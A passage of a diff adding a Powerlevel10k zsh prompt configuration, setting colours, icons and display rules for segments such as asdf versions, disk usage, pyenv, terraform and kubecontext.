POWERLEVEL9K_ASDF_RUST_SHOW_ON_UPGLOB='*.foo|*.bar' + + # .NET Core version from asdf. + typeset -g POWERLEVEL9K_ASDF_DOTNET_CORE_FOREGROUND=134 + # typeset -g POWERLEVEL9K_ASDF_DOTNET_CORE_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_DOTNET_CORE_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Flutter version from asdf. + typeset -g POWERLEVEL9K_ASDF_FLUTTER_FOREGROUND=38 + # typeset -g POWERLEVEL9K_ASDF_FLUTTER_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_FLUTTER_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Lua version from asdf. + typeset -g POWERLEVEL9K_ASDF_LUA_FOREGROUND=32 + # typeset -g POWERLEVEL9K_ASDF_LUA_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_LUA_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Java version from asdf. + typeset -g POWERLEVEL9K_ASDF_JAVA_FOREGROUND=32 + # typeset -g POWERLEVEL9K_ASDF_JAVA_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_JAVA_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Perl version from asdf. + typeset -g POWERLEVEL9K_ASDF_PERL_FOREGROUND=67 + # typeset -g POWERLEVEL9K_ASDF_PERL_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_PERL_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Erlang version from asdf. + typeset -g POWERLEVEL9K_ASDF_ERLANG_FOREGROUND=125 + # typeset -g POWERLEVEL9K_ASDF_ERLANG_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_ERLANG_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Elixir version from asdf. + typeset -g POWERLEVEL9K_ASDF_ELIXIR_FOREGROUND=129 + # typeset -g POWERLEVEL9K_ASDF_ELIXIR_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_ELIXIR_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Postgres version from asdf. + typeset -g POWERLEVEL9K_ASDF_POSTGRES_FOREGROUND=31 + # typeset -g POWERLEVEL9K_ASDF_POSTGRES_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_POSTGRES_SHOW_ON_UPGLOB='*.foo|*.bar' + + # PHP version from asdf. + typeset -g POWERLEVEL9K_ASDF_PHP_FOREGROUND=99 + # typeset -g POWERLEVEL9K_ASDF_PHP_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_PHP_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Haskell version from asdf. + typeset -g POWERLEVEL9K_ASDF_HASKELL_FOREGROUND=172 + # typeset -g POWERLEVEL9K_ASDF_HASKELL_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_HASKELL_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Julia version from asdf. + typeset -g POWERLEVEL9K_ASDF_JULIA_FOREGROUND=70 + # typeset -g POWERLEVEL9K_ASDF_JULIA_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_JULIA_SHOW_ON_UPGLOB='*.foo|*.bar' + + ##########[ nordvpn: nordvpn connection status, linux only (https://nordvpn.com/) ]########### + # NordVPN connection indicator color. + typeset -g POWERLEVEL9K_NORDVPN_FOREGROUND=39 + # Hide NordVPN connection indicator when not connected. + typeset -g POWERLEVEL9K_NORDVPN_{DISCONNECTED,CONNECTING,DISCONNECTING}_CONTENT_EXPANSION= + typeset -g POWERLEVEL9K_NORDVPN_{DISCONNECTED,CONNECTING,DISCONNECTING}_VISUAL_IDENTIFIER_EXPANSION= + # Custom icon. + # typeset -g POWERLEVEL9K_NORDVPN_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #################[ ranger: ranger shell (https://github.com/ranger/ranger) ]################## + # Ranger shell color. + typeset -g POWERLEVEL9K_RANGER_FOREGROUND=178 + # Custom icon. + # typeset -g POWERLEVEL9K_RANGER_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ######################[ nnn: nnn shell (https://github.com/jarun/nnn) ]####################### + # Nnn shell color. + typeset -g POWERLEVEL9K_NNN_FOREGROUND=72 + # Custom icon. + # typeset -g POWERLEVEL9K_NNN_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##################[ xplr: xplr shell (https://github.com/sayanarijit/xplr) ]################## + # xplr shell color. + typeset -g POWERLEVEL9K_XPLR_FOREGROUND=72 + # Custom icon. + # typeset -g POWERLEVEL9K_XPLR_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###########################[ vim_shell: vim shell indicator (:sh) ]########################### + # Vim shell indicator color. + typeset -g POWERLEVEL9K_VIM_SHELL_FOREGROUND=34 + # Custom icon. + # typeset -g POWERLEVEL9K_VIM_SHELL_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ######[ midnight_commander: midnight commander shell (https://midnight-commander.org/) ]###### + # Midnight Commander shell color. + typeset -g POWERLEVEL9K_MIDNIGHT_COMMANDER_FOREGROUND=178 + # Custom icon. + # typeset -g POWERLEVEL9K_MIDNIGHT_COMMANDER_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #[ nix_shell: nix shell (https://nixos.org/nixos/nix-pills/developing-with-nix-shell.html) ]## + # Nix shell color. + typeset -g POWERLEVEL9K_NIX_SHELL_FOREGROUND=74 + + # Tip: If you want to see just the icon without "pure" and "impure", uncomment the next line. + # typeset -g POWERLEVEL9K_NIX_SHELL_CONTENT_EXPANSION= + + # Custom icon. + # typeset -g POWERLEVEL9K_NIX_SHELL_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##################################[ disk_usage: disk usage ]################################## + # Colors for different levels of disk usage. + typeset -g POWERLEVEL9K_DISK_USAGE_NORMAL_FOREGROUND=35 + typeset -g POWERLEVEL9K_DISK_USAGE_WARNING_FOREGROUND=220 + typeset -g POWERLEVEL9K_DISK_USAGE_CRITICAL_FOREGROUND=160 + # Thresholds for different levels of disk usage (percentage points). + typeset -g POWERLEVEL9K_DISK_USAGE_WARNING_LEVEL=90 + typeset -g POWERLEVEL9K_DISK_USAGE_CRITICAL_LEVEL=95 + # If set to true, hide disk usage when below $POWERLEVEL9K_DISK_USAGE_WARNING_LEVEL percent. + typeset -g POWERLEVEL9K_DISK_USAGE_ONLY_WARNING=false + # Custom icon. + # typeset -g POWERLEVEL9K_DISK_USAGE_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###########[ vi_mode: vi mode (you don't need this if you've enabled prompt_char) ]########### + # Text and color for normal (a.k.a. command) vi mode. + typeset -g POWERLEVEL9K_VI_COMMAND_MODE_STRING=NORMAL + typeset -g POWERLEVEL9K_VI_MODE_NORMAL_FOREGROUND=106 + # Text and color for visual vi mode. + typeset -g POWERLEVEL9K_VI_VISUAL_MODE_STRING=VISUAL + typeset -g POWERLEVEL9K_VI_MODE_VISUAL_FOREGROUND=68 + # Text and color for overtype (a.k.a. overwrite and replace) vi mode. + typeset -g POWERLEVEL9K_VI_OVERWRITE_MODE_STRING=OVERTYPE + typeset -g POWERLEVEL9K_VI_MODE_OVERWRITE_FOREGROUND=172 + # Text and color for insert vi mode. + typeset -g POWERLEVEL9K_VI_INSERT_MODE_STRING= + typeset -g POWERLEVEL9K_VI_MODE_INSERT_FOREGROUND=66 + + # Custom icon. + # typeset -g POWERLEVEL9K_RANGER_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ######################################[ ram: free RAM ]####################################### + # RAM color. + typeset -g POWERLEVEL9K_RAM_FOREGROUND=66 + # Custom icon. + # typeset -g POWERLEVEL9K_RAM_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #####################################[ swap: used swap ]###################################### + # Swap color. + typeset -g POWERLEVEL9K_SWAP_FOREGROUND=96 + # Custom icon. + # typeset -g POWERLEVEL9K_SWAP_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ######################################[ load: CPU load ]###################################### + # Show average CPU load over this many last minutes. Valid values are 1, 5 and 15. + typeset -g POWERLEVEL9K_LOAD_WHICH=5 + # Load color when load is under 50%. + typeset -g POWERLEVEL9K_LOAD_NORMAL_FOREGROUND=66 + # Load color when load is between 50% and 70%. + typeset -g POWERLEVEL9K_LOAD_WARNING_FOREGROUND=178 + # Load color when load is over 70%. + typeset -g POWERLEVEL9K_LOAD_CRITICAL_FOREGROUND=166 + # Custom icon. + # typeset -g POWERLEVEL9K_LOAD_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ################[ todo: todo items (https://github.com/todotxt/todo.txt-cli) ]################ + # Todo color. + typeset -g POWERLEVEL9K_TODO_FOREGROUND=110 + # Hide todo when the total number of tasks is zero. + typeset -g POWERLEVEL9K_TODO_HIDE_ZERO_TOTAL=true + # Hide todo when the number of tasks after filtering is zero. + typeset -g POWERLEVEL9K_TODO_HIDE_ZERO_FILTERED=false + + # Todo format. The following parameters are available within the expansion. + # + # - P9K_TODO_TOTAL_TASK_COUNT The total number of tasks. + # - P9K_TODO_FILTERED_TASK_COUNT The number of tasks after filtering. + # + # These variables correspond to the last line of the output of `todo.sh -p ls`: + # + # TODO: 24 of 42 tasks shown + # + # Here 24 is P9K_TODO_FILTERED_TASK_COUNT and 42 is P9K_TODO_TOTAL_TASK_COUNT. + # + # typeset -g POWERLEVEL9K_TODO_CONTENT_EXPANSION='$P9K_TODO_FILTERED_TASK_COUNT' + + # Custom icon. + # typeset -g POWERLEVEL9K_TODO_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###########[ timewarrior: timewarrior tracking status (https://timewarrior.net/) ]############ + # Timewarrior color. + typeset -g POWERLEVEL9K_TIMEWARRIOR_FOREGROUND=110 + # If the tracked task is longer than 24 characters, truncate and append "…". + # Tip: To always display tasks without truncation, delete the following parameter. + # Tip: To hide task names and display just the icon when time tracking is enabled, set the + # value of the following parameter to "". + typeset -g POWERLEVEL9K_TIMEWARRIOR_CONTENT_EXPANSION='${P9K_CONTENT:0:24}${${P9K_CONTENT:24}:+…}' + + # Custom icon. + # typeset -g POWERLEVEL9K_TIMEWARRIOR_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##############[ taskwarrior: taskwarrior task count (https://taskwarrior.org/) ]############## + # Taskwarrior color. + typeset -g POWERLEVEL9K_TASKWARRIOR_FOREGROUND=74 + + # Taskwarrior segment format. The following parameters are available within the expansion. + # + # - P9K_TASKWARRIOR_PENDING_COUNT The number of pending tasks: `task +PENDING count`. + # - P9K_TASKWARRIOR_OVERDUE_COUNT The number of overdue tasks: `task +OVERDUE count`. + # + # Zero values are represented as empty parameters. + # + # The default format: + # + # '${P9K_TASKWARRIOR_OVERDUE_COUNT:+"!$P9K_TASKWARRIOR_OVERDUE_COUNT/"}$P9K_TASKWARRIOR_PENDING_COUNT' + # + # typeset -g POWERLEVEL9K_TASKWARRIOR_CONTENT_EXPANSION='$P9K_TASKWARRIOR_PENDING_COUNT' + + # Custom icon. + # typeset -g POWERLEVEL9K_TASKWARRIOR_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##################################[ context: user@hostname ]################################## + # Context color when running with privileges. + typeset -g POWERLEVEL9K_CONTEXT_ROOT_FOREGROUND=178 + # Context color in SSH without privileges. + typeset -g POWERLEVEL9K_CONTEXT_{REMOTE,REMOTE_SUDO}_FOREGROUND=180 + # Default context color (no privileges, no SSH). + typeset -g POWERLEVEL9K_CONTEXT_FOREGROUND=180 + + # Context format when running with privileges: bold user@hostname. + typeset -g POWERLEVEL9K_CONTEXT_ROOT_TEMPLATE='ﮊ' + # Context format when in SSH without privileges: user@hostname. + typeset -g POWERLEVEL9K_CONTEXT_{REMOTE,REMOTE_SUDO}_TEMPLATE='%n@%m' + # Default context format (no privileges, no SSH): user@hostname. + typeset -g POWERLEVEL9K_CONTEXT_TEMPLATE='ﮊ' + + # Don't show context unless running with privileges or in SSH. + # Tip: Remove the next line to always show context. + typeset -g POWERLEVEL9K_CONTEXT_{DEFAULT,SUDO}_{CONTENT,VISUAL_IDENTIFIER}_EXPANSION= + + # Custom icon. + # typeset -g POWERLEVEL9K_CONTEXT_VISUAL_IDENTIFIER_EXPANSION='⭐' + # Custom prefix. + # typeset -g POWERLEVEL9K_CONTEXT_PREFIX='%246Fwith ' + + ###[ virtualenv: python virtual environment (https://docs.python.org/3/library/venv.html) ]### + # Python virtual environment color. + typeset -g POWERLEVEL9K_VIRTUALENV_FOREGROUND=37 + # Don't show Python version next to the virtual environment name. + typeset -g POWERLEVEL9K_VIRTUALENV_SHOW_PYTHON_VERSION=false + # If set to "false", won't show virtualenv if pyenv is already shown. + # If set to "if-different", won't show virtualenv if it's the same as pyenv. + typeset -g POWERLEVEL9K_VIRTUALENV_SHOW_WITH_PYENV=false + # Separate environment name from Python version only with a space. + typeset -g POWERLEVEL9K_VIRTUALENV_{LEFT,RIGHT}_DELIMITER= + # Custom icon. + # typeset -g POWERLEVEL9K_VIRTUALENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #####################[ anaconda: conda environment (https://conda.io/) ]###################### + # Anaconda environment color. + typeset -g POWERLEVEL9K_ANACONDA_FOREGROUND=37 + + # Anaconda segment format. The following parameters are available within the expansion. + # + # - CONDA_PREFIX Absolute path to the active Anaconda/Miniconda environment. + # - CONDA_DEFAULT_ENV Name of the active Anaconda/Miniconda environment. + # - CONDA_PROMPT_MODIFIER Configurable prompt modifier (see below). + # - P9K_ANACONDA_PYTHON_VERSION Current python version (python --version). + # + # CONDA_PROMPT_MODIFIER can be configured with the following command: + # + # conda config --set env_prompt '({default_env}) ' + # + # The last argument is a Python format string that can use the following variables: + # + # - prefix The same as CONDA_PREFIX. + # - default_env The same as CONDA_DEFAULT_ENV. + # - name The last segment of CONDA_PREFIX. + # - stacked_env Comma-separated list of names in the environment stack. The first element is + # always the same as default_env. + # + # Note: '({default_env}) ' is the default value of env_prompt. + # + # The default value of POWERLEVEL9K_ANACONDA_CONTENT_EXPANSION expands to $CONDA_PROMPT_MODIFIER + # without the surrounding parentheses, or to the last path component of CONDA_PREFIX if the former + # is empty. + typeset -g POWERLEVEL9K_ANACONDA_CONTENT_EXPANSION='${${${${CONDA_PROMPT_MODIFIER#\(}% }%\)}:-${CONDA_PREFIX:t}}' + + # Custom icon. + # typeset -g POWERLEVEL9K_ANACONDA_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ################[ pyenv: python environment (https://github.com/pyenv/pyenv) ]################ + # Pyenv color. + typeset -g POWERLEVEL9K_PYENV_FOREGROUND=37 + # Hide python version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_PYENV_SOURCES=(shell local global) + # If set to false, hide python version if it's the same as global: + # $(pyenv version-name) == $(pyenv global). + typeset -g POWERLEVEL9K_PYENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide python version if it's equal to "system". + typeset -g POWERLEVEL9K_PYENV_SHOW_SYSTEM=true + + # Pyenv segment format. The following parameters are available within the expansion. + # + # - P9K_CONTENT Current pyenv environment (pyenv version-name). + # - P9K_PYENV_PYTHON_VERSION Current python version (python --version). + # + # The default format has the following logic: + # + # 1. Display just "$P9K_CONTENT" if it's equal to "$P9K_PYENV_PYTHON_VERSION" or + # starts with "$P9K_PYENV_PYTHON_VERSION/". + # 2. Otherwise display "$P9K_CONTENT $P9K_PYENV_PYTHON_VERSION". + typeset -g POWERLEVEL9K_PYENV_CONTENT_EXPANSION='${P9K_CONTENT}${${P9K_CONTENT:#$P9K_PYENV_PYTHON_VERSION(|/*)}:+ $P9K_PYENV_PYTHON_VERSION}' + + # Custom icon. + # typeset -g POWERLEVEL9K_PYENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ################[ goenv: go environment (https://github.com/syndbg/goenv) ]################ + # Goenv color. + typeset -g POWERLEVEL9K_GOENV_FOREGROUND=37 + # Hide go version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_GOENV_SOURCES=(shell local global) + # If set to false, hide go version if it's the same as global: + # $(goenv version-name) == $(goenv global). + typeset -g POWERLEVEL9K_GOENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide go version if it's equal to "system". + typeset -g POWERLEVEL9K_GOENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_GOENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##########[ nodenv: node.js version from nodenv (https://github.com/nodenv/nodenv) ]########## + # Nodenv color. + typeset -g POWERLEVEL9K_NODENV_FOREGROUND=70 + # Hide node version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_NODENV_SOURCES=(shell local global) + # If set to false, hide node version if it's the same as global: + # $(nodenv version-name) == $(nodenv global). + typeset -g POWERLEVEL9K_NODENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide node version if it's equal to "system". + typeset -g POWERLEVEL9K_NODENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_NODENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##############[ nvm: node.js version from nvm (https://github.com/nvm-sh/nvm) ]############### + # Nvm color. + typeset -g POWERLEVEL9K_NVM_FOREGROUND=70 + # Custom icon. + # typeset -g POWERLEVEL9K_NVM_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ############[ nodeenv: node.js environment (https://github.com/ekalinin/nodeenv) ]############ + # Nodeenv color. + typeset -g POWERLEVEL9K_NODEENV_FOREGROUND=70 + # Don't show Node version next to the environment name. + typeset -g POWERLEVEL9K_NODEENV_SHOW_NODE_VERSION=false + # Separate environment name from Node version only with a space. + typeset -g POWERLEVEL9K_NODEENV_{LEFT,RIGHT}_DELIMITER= + # Custom icon. + # typeset -g POWERLEVEL9K_NODEENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##############################[ node_version: node.js version ]############################### + # Node version color. + typeset -g POWERLEVEL9K_NODE_VERSION_FOREGROUND=70 + # Show node version only when in a directory tree containing package.json. + typeset -g POWERLEVEL9K_NODE_VERSION_PROJECT_ONLY=true + # Custom icon. + # typeset -g POWERLEVEL9K_NODE_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #######################[ go_version: go version (https://golang.org) ]######################## + # Go version color. + typeset -g POWERLEVEL9K_GO_VERSION_FOREGROUND=37 + # Show go version only when in a go project subdirectory. + typeset -g POWERLEVEL9K_GO_VERSION_PROJECT_ONLY=true + # Custom icon. + # typeset -g POWERLEVEL9K_GO_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #################[ rust_version: rustc version (https://www.rust-lang.org) ]################## + # Rust version color. + typeset -g POWERLEVEL9K_RUST_VERSION_FOREGROUND=37 + # Show rust version only when in a rust project subdirectory. + typeset -g POWERLEVEL9K_RUST_VERSION_PROJECT_ONLY=true + # Custom icon. + # typeset -g POWERLEVEL9K_RUST_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###############[ dotnet_version: .NET version (https://dotnet.microsoft.com) ]################ + # .NET version color. + typeset -g POWERLEVEL9K_DOTNET_VERSION_FOREGROUND=134 + # Show .NET version only when in a .NET project subdirectory. + typeset -g POWERLEVEL9K_DOTNET_VERSION_PROJECT_ONLY=true + # Custom icon. + # typeset -g POWERLEVEL9K_DOTNET_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #####################[ php_version: php version (https://www.php.net/) ]###################### + # PHP version color. + typeset -g POWERLEVEL9K_PHP_VERSION_FOREGROUND=99 + # Show PHP version only when in a PHP project subdirectory. + typeset -g POWERLEVEL9K_PHP_VERSION_PROJECT_ONLY=true + # Custom icon. + # typeset -g POWERLEVEL9K_PHP_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##########[ laravel_version: laravel php framework version (https://laravel.com/) ]########### + # Laravel version color. + typeset -g POWERLEVEL9K_LARAVEL_VERSION_FOREGROUND=161 + # Custom icon. + # typeset -g POWERLEVEL9K_LARAVEL_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ####################[ java_version: java version (https://www.java.com/) ]#################### + # Java version color. + typeset -g POWERLEVEL9K_JAVA_VERSION_FOREGROUND=32 + # Show java version only when in a java project subdirectory. + typeset -g POWERLEVEL9K_JAVA_VERSION_PROJECT_ONLY=true + # Show brief version. + typeset -g POWERLEVEL9K_JAVA_VERSION_FULL=false + # Custom icon. + # typeset -g POWERLEVEL9K_JAVA_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###[ package: name@version from package.json (https://docs.npmjs.com/files/package.json) ]#### + # Package color. + typeset -g POWERLEVEL9K_PACKAGE_FOREGROUND=117 + # Package format. The following parameters are available within the expansion. + # + # - P9K_PACKAGE_NAME The value of `name` field in package.json. + # - P9K_PACKAGE_VERSION The value of `version` field in package.json. + # + # typeset -g POWERLEVEL9K_PACKAGE_CONTENT_EXPANSION='${P9K_PACKAGE_NAME//\%/%%}@${P9K_PACKAGE_VERSION//\%/%%}' + # Custom icon. + # typeset -g POWERLEVEL9K_PACKAGE_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #############[ rbenv: ruby version from rbenv (https://github.com/rbenv/rbenv) ]############## + # Rbenv color. + typeset -g POWERLEVEL9K_RBENV_FOREGROUND=168 + # Hide ruby version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_RBENV_SOURCES=(shell local global) + # If set to false, hide ruby version if it's the same as global: + # $(rbenv version-name) == $(rbenv global). + typeset -g POWERLEVEL9K_RBENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide ruby version if it's equal to "system". + typeset -g POWERLEVEL9K_RBENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_RBENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #######################[ rvm: ruby version from rvm (https://rvm.io) ]######################## + # Rvm color. + typeset -g POWERLEVEL9K_RVM_FOREGROUND=168 + # Don't show @gemset at the end. + typeset -g POWERLEVEL9K_RVM_SHOW_GEMSET=false + # Don't show ruby- at the front. + typeset -g POWERLEVEL9K_RVM_SHOW_PREFIX=false + # Custom icon. + # typeset -g POWERLEVEL9K_RVM_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###########[ fvm: flutter version management (https://github.com/leoafarias/fvm) ]############ + # Fvm color. + typeset -g POWERLEVEL9K_FVM_FOREGROUND=38 + # Custom icon. + # typeset -g POWERLEVEL9K_FVM_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##########[ luaenv: lua version from luaenv (https://github.com/cehoffman/luaenv) ]########### + # Lua color. + typeset -g POWERLEVEL9K_LUAENV_FOREGROUND=32 + # Hide lua version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_LUAENV_SOURCES=(shell local global) + # If set to false, hide lua version if it's the same as global: + # $(luaenv version-name) == $(luaenv global). + typeset -g POWERLEVEL9K_LUAENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide lua version if it's equal to "system". + typeset -g POWERLEVEL9K_LUAENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_LUAENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###############[ jenv: java version from jenv (https://github.com/jenv/jenv) ]################ + # Java color. + typeset -g POWERLEVEL9K_JENV_FOREGROUND=32 + # Hide java version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_JENV_SOURCES=(shell local global) + # If set to false, hide java version if it's the same as global: + # $(jenv version-name) == $(jenv global). + typeset -g POWERLEVEL9K_JENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide java version if it's equal to "system". + typeset -g POWERLEVEL9K_JENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_JENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###########[ plenv: perl version from plenv (https://github.com/tokuhirom/plenv) ]############ + # Perl color. + typeset -g POWERLEVEL9K_PLENV_FOREGROUND=67 + # Hide perl version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_PLENV_SOURCES=(shell local global) + # If set to false, hide perl version if it's the same as global: + # $(plenv version-name) == $(plenv global). + typeset -g POWERLEVEL9K_PLENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide perl version if it's equal to "system". + typeset -g POWERLEVEL9K_PLENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_PLENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###########[ perlbrew: perl version from perlbrew (https://github.com/gugod/App-perlbrew) ]############ + # Perlbrew color. + typeset -g POWERLEVEL9K_PERLBREW_FOREGROUND=67 + # Show perlbrew version only when in a perl project subdirectory. + typeset -g POWERLEVEL9K_PERLBREW_PROJECT_ONLY=true + # Don't show "perl-" at the front. + typeset -g POWERLEVEL9K_PERLBREW_SHOW_PREFIX=false + # Custom icon. + # typeset -g POWERLEVEL9K_PERLBREW_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ############[ phpenv: php version from phpenv (https://github.com/phpenv/phpenv) ]############ + # PHP color. + typeset -g POWERLEVEL9K_PHPENV_FOREGROUND=99 + # Hide php version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_PHPENV_SOURCES=(shell local global) + # If set to false, hide php version if it's the same as global: + # $(phpenv version-name) == $(phpenv global). + typeset -g POWERLEVEL9K_PHPENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide php version if it's equal to "system". + typeset -g POWERLEVEL9K_PHPENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_PHPENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #######[ scalaenv: scala version from scalaenv (https://github.com/scalaenv/scalaenv) ]####### + # Scala color. + typeset -g POWERLEVEL9K_SCALAENV_FOREGROUND=160 + # Hide scala version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_SCALAENV_SOURCES=(shell local global) + # If set to false, hide scala version if it's the same as global: + # $(scalaenv version-name) == $(scalaenv global). + typeset -g POWERLEVEL9K_SCALAENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide scala version if it's equal to "system". + typeset -g POWERLEVEL9K_SCALAENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_SCALAENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##########[ haskell_stack: haskell version from stack (https://haskellstack.org/) ]########### + # Haskell color. + typeset -g POWERLEVEL9K_HASKELL_STACK_FOREGROUND=172 + # Hide haskell version if it doesn't come from one of these sources. + # + # shell: version is set by STACK_YAML + # local: version is set by stack.yaml up the directory tree + # global: version is set by the implicit global project (~/.stack/global-project/stack.yaml) + typeset -g POWERLEVEL9K_HASKELL_STACK_SOURCES=(shell local) + # If set to false, hide haskell version if it's the same as in the implicit global project. + typeset -g POWERLEVEL9K_HASKELL_STACK_ALWAYS_SHOW=true + # Custom icon. + # typeset -g POWERLEVEL9K_HASKELL_STACK_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ################[ terraform: terraform workspace (https://www.terraform.io) ]################# + # Don't show terraform workspace if it's literally "default". + typeset -g POWERLEVEL9K_TERRAFORM_SHOW_DEFAULT=false + # POWERLEVEL9K_TERRAFORM_CLASSES is an array with even number of elements. The first element + # in each pair defines a pattern against which the current terraform workspace gets matched. + # More specifically, it's P9K_CONTENT prior to the application of context expansion (see below) + # that gets matched. If you unset all POWERLEVEL9K_TERRAFORM_*CONTENT_EXPANSION parameters, + # you'll see this value in your prompt. The second element of each pair in + # POWERLEVEL9K_TERRAFORM_CLASSES defines the workspace class. Patterns are tried in order. The + # first match wins. + # + # For example, given these settings: + # + # typeset -g POWERLEVEL9K_TERRAFORM_CLASSES=( + # '*prod*' PROD + # '*test*' TEST + # '*' OTHER) + # + # If your current terraform workspace is "project_test", its class is TEST because "project_test" + # doesn't match the pattern '*prod*' but does match '*test*'. + # + # You can define different colors, icons and content expansions for different classes: + # + # typeset -g POWERLEVEL9K_TERRAFORM_TEST_FOREGROUND=28 + # typeset -g POWERLEVEL9K_TERRAFORM_TEST_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_TERRAFORM_TEST_CONTENT_EXPANSION='> ${P9K_CONTENT} <' + typeset -g POWERLEVEL9K_TERRAFORM_CLASSES=( + # '*prod*' PROD # These values are examples that are unlikely + # '*test*' TEST # to match your needs. Customize them as needed. + '*' OTHER) + typeset -g POWERLEVEL9K_TERRAFORM_OTHER_FOREGROUND=38 + # typeset -g POWERLEVEL9K_TERRAFORM_OTHER_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #############[ terraform_version: terraform version (https://www.terraform.io) ]############## + # Terraform version color. + typeset -g POWERLEVEL9K_TERRAFORM_VERSION_FOREGROUND=38 + # Custom icon. + # typeset -g POWERLEVEL9K_TERRAFORM_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #############[ kubecontext: current kubernetes context (https://kubernetes.io/) ]############# + # Show kubecontext only when the command you are typing invokes one of these tools. + # Tip: Remove the next line to always show kubecontext. + typeset -g POWERLEVEL9K_KUBECONTEXT_SHOW_ON_COMMAND='kubectl|helm|kubens|kubectx|oc|istioctl|kogito|k9s|helmfile|flux|fluxctl|stern' + + # Kubernetes context classes for the purpose of using different colors, icons and expansions with + # different contexts. + # + # POWERLEVEL9K_KUBECONTEXT_CLASSES is an array with even number of elements. The first element + # in each pair defines a pattern against which the current kubernetes context gets matched. + # More specifically, it's P9K_CONTENT prior to the application of context expansion (see below) + # that gets matched. If you unset all 